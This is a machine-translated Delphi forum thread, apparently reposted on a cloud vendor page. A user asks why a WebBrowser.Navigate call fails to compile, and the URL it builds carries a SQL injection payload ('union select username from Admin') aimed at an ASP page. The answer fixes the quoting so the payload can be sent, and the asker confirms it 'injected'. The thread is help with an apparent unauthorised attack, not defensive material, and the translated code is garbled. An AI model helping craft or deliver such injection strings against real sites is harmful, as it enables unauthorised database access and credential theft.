URL Connection problems in webbrowser

Source: Internet
Author: User
Webbrowser URL Connection problems Delphi/Windows SDK/API
Http://www.delphi2007.net/DelphiNetwork/html/delphi_20061202200134214.html
Implementation: After clicking the button, send a string after edit1.text + 'to the Web server

The following is a string:

/Region. asp? Country = TT & City = fucka & province = bug 'and 1 = 2 Union select username from Admin where 1 <2 and '1' = '1

My Code

Procedure tform1.button2click (Sender: tobject );
Begin
Self. webbrowser1.navigate (edit1.text + '/region. asp? Country = TT & City = fucka & province = bug ''+ 'and' + '1 = 2' + 'Union '+ 'select' + 'username' + 'from' + 'admin' + 'where' + '1' + '<' + '2' + 'and' + '1' = '1 );
End;

Error message: Missing operator or semicolon

Hope you give me some advice

If your url is like that (I didn't see what the strings submitted to ASP mean), you can follow these steps:
VaR S: string;
Begin
S: = S + '/region. asp? Country = TT & City = fucka & province = bug ';
S: = S + quotedstr ('and 1 = 2 Union select username from Admin where 1 <2 and ');
S: = S + '1 ';
S: = S + quotedstr ('= ');
S: = S + '1 ';
Webbrowser1.navigate (edit1.text + S );
End;

Thanks for your advice. This string is tested and injected.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.